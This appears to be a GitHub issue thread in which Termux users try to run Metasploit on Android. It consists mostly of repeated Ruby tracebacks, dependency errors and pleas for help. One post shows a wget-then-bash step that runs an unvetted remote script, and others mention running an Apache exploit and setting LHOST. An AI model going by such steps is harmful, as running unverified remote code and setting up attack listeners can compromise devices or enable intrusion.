2018-11-23 14:19:38.470 WIB [14721] FATAL: terminating connection due to unexpected postmaster exit

It is show after i use exploit apache chunked
And sometimes after running command. /msfconsole before showing banner metasploit
Sometimes show up after banner metasploit show up

I don't understand what is it

Guys set your LHOST=0.0.0.0
For people who are on data

Il giorno sab 24 nov 2018, 07:53 Mr.XSecr3t notifications@github.com ha
scritto:

@vishalbiswas https://github.com/vishalbiswas

2018-11-23 14:19:38.470 WIB [14721] FATAL: terminating connection due to
unexpected postmaster exit

It is show after i use exploit apache chunked
And sometimes after running command. /msfconsole before showing banner
metasploit
Sometimes show up after banner metasploit show up

I don't understand what is it


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-441348124,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ATPOHWNuwo-mzCOqHhU-AHbJ0Jzazesiks5uyOzogaJpZM4LyVa1
.

@imad61

What's that mean tho?

pg_ctl -D $PREFIX/var/lib/postgresql start

Command fails with the following error


pg_ctl: another server might be running; trying to start server anyway
waiting for server to start....2019-01-19 15:53:07.134 IST [6839] FATAL: database files are incompatible with server
2019-01-19 15:53:07.134 IST [6839] DETAIL: The data directory was initialized by PostgreSQL version 10, which is not compatible with this version 11.1.
stopped waiting
pg_ctl: could not start server
Examine the log output.

Hello,
Excuse me.
I want to ask something.

  1. I installed the metasploit on termux. I have tried to reinstall termux but it didn't work. The issue shows up even if removing the app-data of termux.
  2. This issue came out after an uninstall of termux, but I successfully installed it on termux before that.
    The way I install:
    cd $HOME
    pkg install wget
    wget https://Auxilus.github.io/metasploit.sh
    bash metasploit.sh
    During the installation, there's no error (at least seems to be)

    Current behavior

$ ./msfconsole
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
31: from ./msfconsole:48:in <main>' 30: from ./msfconsole:48:inrequire'
29: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 28: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
27: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 26: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
25: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 24: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
23: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 22: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 21: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 20: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
19: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 18: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:22:inoptionally'
17: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 16: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
15: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential.rb:11:in <top (required)>' 14: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
13: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 12: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit_data_models-3.0.5/lib/metasploit_data_models.rb:15:in 11: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 10: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
9: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:32:in <top (required)>' 8: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:130:in'
7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
5: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record/connection_adapters/abstract_adapter.rb:3:in <top (required)>' 4: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 2: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in 1: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire': dlopen failed: cannot locate symbol "rmpd_util_str_to_d" referenced by "/data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so"... - /data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so (LoadError)
14: from ./msfconsole:48:in <main>' 13: from ./msfconsole:48:inrequire'
12: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 11: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
10: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 9: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
8: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 5: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 4: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 3: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
2: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 1: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:20:inoptionally'
/data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:25:in rescue in optionally': undefined methodwithout' for # (NoMethodError)

System stuff

I installed Metasploit with:

  • [ ] Kali package via apt
  • [ ] Omnibus installer (nightly)
  • [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
  • [x] Source install (please specify ruby version)
    $ ruby --version
    ruby 2.6.1p33 (2019-01-30 revision 66950) [aarch64-linux-android]

OS

What OS are you running Metasploit on?
OS: Android 9 aarch64

weird, are all the gems installed correctly?

I think so, because there is no error when installing gems

try bundle install again..

[~/metasploit-framework]$ bundle install
Using rake 12.3.2
Using Ascii85 1.0.3
Using concurrent-ruby 1.0.5
Using i18n 0.9.5
Using minitest 5.11.3
Using thread_safe 0.3.6
Using tzinfo 1.2.5
Using activesupport 4.2.11
Using builder 3.2.3
Using erubis 2.7.0
Using mini_portile2 2.4.0
Using nokogiri 1.10.1
Using rails-deprecated_sanitizer 1.0.3
Using rails-dom-testing 1.0.9
Using crass 1.0.4
Using loofah 2.2.3
Using rails-html-sanitizer 1.0.4
Using actionview 4.2.11
Using rack 1.6.11
Using rack-test 0.6.3
Using actionpack 4.2.11
Using activemodel 4.2.11
Using arel 6.0.4
Using activerecord 4.2.11
Using public_suffix 3.0.3
Using addressable 2.5.2
Using afm 0.2.2
Using arel-helpers 2.8.0
Using backports 3.11.4
Using bcrypt 3.1.12
Using bcrypt_pbkdf 1.0.0
Using bindata 2.4.4
Using bit-struct 0.16
Using bundler 1.17.3
Using coderay 1.1.2
Using diff-lcs 1.3
Using dnsruby 1.61.2
Using docile 1.3.1
Using ed25519 1.2.4
Using factory_girl 4.9.0
Using thor 0.20.3
Using railties 4.2.11
Using factory_girl_rails 4.9.0
Using faker 1.9.1
Using multipart-post 2.0.0
Using faraday 0.15.4
Using filesize 0.2.0
Using fivemat 1.3.7
Using hashery 2.1.2
Using rkelly-remix 0.0.7
Using jsobfu 0.4.2
Using json 2.1.0
Using metasm 1.0.3
Using metasploit-concern 2.0.5
Using metasploit-model 2.0.4
Using pg 0.20.0
Using pg_array_parser 0.0.9
Using postgres_ext 3.0.1
Using recog 2.1.45
Using metasploit_data_models 2.0.16
Using rex-core 0.1.13
Using rex-socket 0.1.15
Using rubyntlm 0.6.2
Using rubyzip 1.2.2
Using metasploit-credential 2.0.14
Using metasploit-payloads 1.3.58
Using metasploit_payloads-mettle 0.5.1
Using mqtt 0.5.0
Using msgpack 1.2.6
Using nessus_rest 0.1.6
Using net-ssh 5.1.0
Using network_interface 0.0.2
Using nexpose 7.2.1
Using sawyer 0.8.1
Using octokit 4.13.0
Using openssl-ccm 1.2.2
Using openvas-omp 0.0.4
Using pcaprub 0.13.0
Using packetfu 1.1.13
Using patch_finder 1.0.2
Using ruby-rc4 0.1.5
Using ttfunk 1.5.1
Using pdf-reader 2.2.0
Using rb-readline 0.5.5
Using redcarpet 3.4.0
Using rex-text 0.2.21
Using rex-arch 0.1.13
Using rex-struct2 0.1.2
Using rex-bin_tools 0.1.6
Using rex-encoder 0.1.4
Using rex-exploitation 0.1.20
Using rex-java 0.1.5
Using rex-mime 0.1.5
Using rex-nop 0.1.1
Using rex-ole 0.1.6
Using rex-random_identifier 0.1.4
Using rex-powershell 0.1.79
Using rex-registry 0.1.3
Using rex-rop_builder 0.1.3
Using rex-sslscan 0.1.5
Using rex-zip 0.1.3
Using ruby-macho 2.1.0
Using windows_error 0.1.2
Using ruby_smb 1.0.5
Using sqlite3 1.3.13
Using sshkey 1.9.0
Using tzinfo-data 1.2018.9
Using xdr 2.0.0
Using xmlrpc 0.3.0
Using metasploit-framework 4.17.37 from source at .
Using method_source 0.9.2
Using pry 0.12.2
Using rspec-support 3.8.0
Using rspec-core 3.8.0
Using rspec-expectations 3.8.2
Using rspec-mocks 3.8.0
Using rspec 3.8.0
Using rspec-rails 3.8.1
Using rspec-rerun 1.1.0
Using simplecov-html 0.10.2
Using simplecov 0.16.1
Using timecop 0.9.1
Using yard 0.9.16
Bundle complete! 12 Gemfile dependencies, 123 gems now installed.
Use bundle info [gemname] to see where a bundled gem is installed.

It didn't work..

metasploit is perfectly working on ruby version 2.5.0

I have some error with installing error
When i run msfconsole so its take so long time and i then stop it show segment fault
Second time i reinstall i try to install agai it show again
Segment fault😅,:-|=_=

Any one can help me our the shity
Segment fault msfconsole

I tried to wipe all data of my android via recovery mode, but it didn't fix the problem.

Any one can fix the segment fault error
I am try to bundle installed but its still
Segment fault =_=:'(:'(:'(

How can I fix this error?

Still a problem for me.

./msfconsole
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
36: from ./msfconsole:48:in <main>' 35: from ./msfconsole:48:inrequire'
34: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 33: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
32: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 31: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
30: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core.rb:47:in <top (required)>' 29: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire_with_backports'
28: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require' 27: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/framework.rb:18:in 26: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/framework.rb:26:in <module:Msf>' 25: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/framework.rb:61:in'
24: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require_with_backports' 23: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire'
22: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/db_manager.rb:23:in <top (required)>' 21: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/db_manager.rb:61:in'
20: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/metasploit/framework/require.rb:115:in optionally_include_metasploit_credential_creation' 19: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/metasploit/framework/require.rb:68:inoptionally_include_metasploit_credential_creation'
18: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/metasploit/framework/require.rb:22:in optionally' 17: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire_with_backports'
16: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require' 15: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit-credential-2.0.14/lib/metasploit/credential.rb:11:in 14: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require_with_backports' 13: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire'
12: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit_data_models-2.0.16/lib/metasploit_data_models.rb:15:in <top (required)>' 11: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire_with_backports'
10: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require' 9: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.10/lib/active_record.rb:32:in 8: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.10/lib/active_record.rb:130:in <module:ActiveRecord>' 7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require' 5: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract_adapter.rb:3:in 4: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require_with_backports' 3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire'
2: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in <top (required)>' 1: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire_with_backports'
/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require': dlopen failed: cannot locate symbol "rmpd_util_str_to_d" referenced by "/data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so"... - /data/data/com.termux/files/usr/lib/ruby/2.6.0/aarch64-linux-android/bigdecimal/util.so (LoadError) 19: from ./msfconsole:48:in

'
18: from ./msfconsole:48:in require' 17: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload_generator.rb:2:in 16: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload_generator.rb:2:in require' 15: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload/apk.rb:3:in 14: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/payload/apk.rb:3:in require' 13: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core.rb:47:in 12: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require_with_backports' 11: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire'
10: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/framework.rb:18:in <top (required)>' 9: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/framework.rb:26:in'
8: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/framework.rb:61:in <class:Framework>' 7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:inrequire_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.11.3/lib/backports/std_lib.rb:9:in require' 5: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/db_manager.rb:23:in 4: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/msf/core/db_manager.rb:61:in <class:DBManager>' 3: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
2: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 1: from /data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/metasploit/framework/require.rb:20:inoptionally'
/data/data/com.termux/files/home/metasploit-framework/metasploit-framework/lib/metasploit/framework/require.rb:25:in rescue in optionally': undefined methodwithout' for # (NoMethodError)
$

IT WORKS! Thanks a lot! Now I'll proceed with my course, ciao.

Device: Meizu Mblue S6
System: Flyme 7, Android 7
Arch: aarch64

After installation complete by scripts, there will be crashed when I execute msfconsole, and error info below:

dlopen failed: file offset for the library "/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/nokogiri-1.10.1/lib/nokogiri/nokogiri.so" >= file size: 0 >= 0 - /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/nokogiri-1.10.1/lib/nokogiri/nokogiri.so (LoadError)

It seems that all command lines related to msf will report similar errors when executed.

Not working still same prblm help plz

M using ARM device so it's not working for me fix it fast

Wow, @xeffyr, i love you <3

How I can solve this plz tell me

@xeffyr thanks you for the fix

Why my msf not getting fix?

Still same problems

CANNOT LINK EXECUTABLE: library "/data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/bigdecimal-1.4.3/ext/bigdecimal/bigdecimal.so" not found
page record for 0xf6fbf01c was not found (block_size=16)
$

Still same prblm

$ msfconsole
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
31: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:in <main>' 30: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:inrequire'
29: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 28: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
27: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 26: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
25: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 24: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
23: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 22: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 21: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 20: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
19: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 18: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:22:inoptionally'
17: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 16: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
15: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential.rb:11:in <top (required)>' 14: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
13: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 12: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit_data_models-3.0.5/lib/metasploit_data_models.rb:15:in 11: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 10: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
9: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:32:in <top (required)>' 8: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record.rb:130:in'
7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
5: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activerecord-4.2.11/lib/active_record/connection_adapters/abstract_adapter.rb:3:in <top (required)>' 4: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 2: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in 1: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire': dlopen failed: cannot locate symbol "rmpd_util_str_to_d" referenced by "/data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so"... - /data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so (LoadError)
14: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:in <main>' 13: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:inrequire'
12: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 11: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
10: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 9: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
8: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 5: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 4: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 3: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
2: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 1: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:20:inoptionally'
/data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:25:in rescue in optionally': undefined methodwithout' for # (NoMethodError)
$ gem install bigdecimal

I also have the same problem with @handsomebeast even after installing bigdecimal. I use termux on android arm

Why it's not working on my phone 😓😓😢😢😢😢😢😢 solve this plz

Yaaaahooooo solved thanx all 😍😍😍😍😍😍

script fix bigdecimal works on my aarch64 device

But mine not working

@handsomebeast try to fresh install using metasploit 4.17.40 first then upgrade later

screenshot_20190228-225338

Help me anyone! I have been facing this problem from last 2 weeks! Before this I was successfully installed metasploit. But now it shows some error! I wiped my phone and reinstalled but didn't work as well! I tried more than 10 times by reinstalling and tried by watching this post and comments but still no luck! I had run "bundle install" but didn't work. Thanks in advance. Hope anyone will help me to out of this problem.

Bundle install

Have 5.0.8 metasploit but not working cuz of bigdecimal and all error

screenshot_20190228-234249
screenshot_20190228-234259
screenshot_20190228-234318
screenshot_20190228-234326
screenshot_20190228-234334
screenshot_20190228-234340
screenshot_20190228-234349

Not fixed yet! Check it out! After running 'bundle install' this errors shows up! No luck

Now type

gem install nokogiri

An error occurred while installing
network_interface (0.0.1), and Bundler cannot
continue.
Make sure that gem install network_interface -v '0.0.1' --source 'https://rubygems.org/'
succeeds before bundling.

Now shows this. I tried 'gem install network_interface -v 0.0.1
Also tried bundler update
But can't succeed!

See snap
screenshot_20190301-002642

I have downloaded fresh update still same problem

$ msfconsole
metasploit-credential not in the bundle, so Metasploit::Credential creation will fail for Msf::DBManager
Traceback (most recent call last):
31: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:in <main>' 30: from /data/data/com.termux/files/home/metasploit-framework/msfconsole:48:inrequire'
29: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:in <top (required)>' 28: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload_generator.rb:2:inrequire'
27: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:in <top (required)>' 26: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/payload/apk.rb:3:inrequire'
25: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core.rb:59:in <top (required)>' 24: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
23: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require' 22: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:24:in 21: from /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager.rb:65:in <class:DBManager>' 20: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:115:inoptionally_include_metasploit_credential_creation'
19: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:68:in optionally_include_metasploit_credential_creation' 18: from /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/require.rb:22:inoptionally'
17: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:in require_with_backports' 16: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire'
15: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/metasploit-credential-3.0.3/lib/metasploit/credential.rb:11:in <top (required)>' 14: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/backports-3.12.0/lib/backports/std_lib.rb:9:inrequire_with_backports'
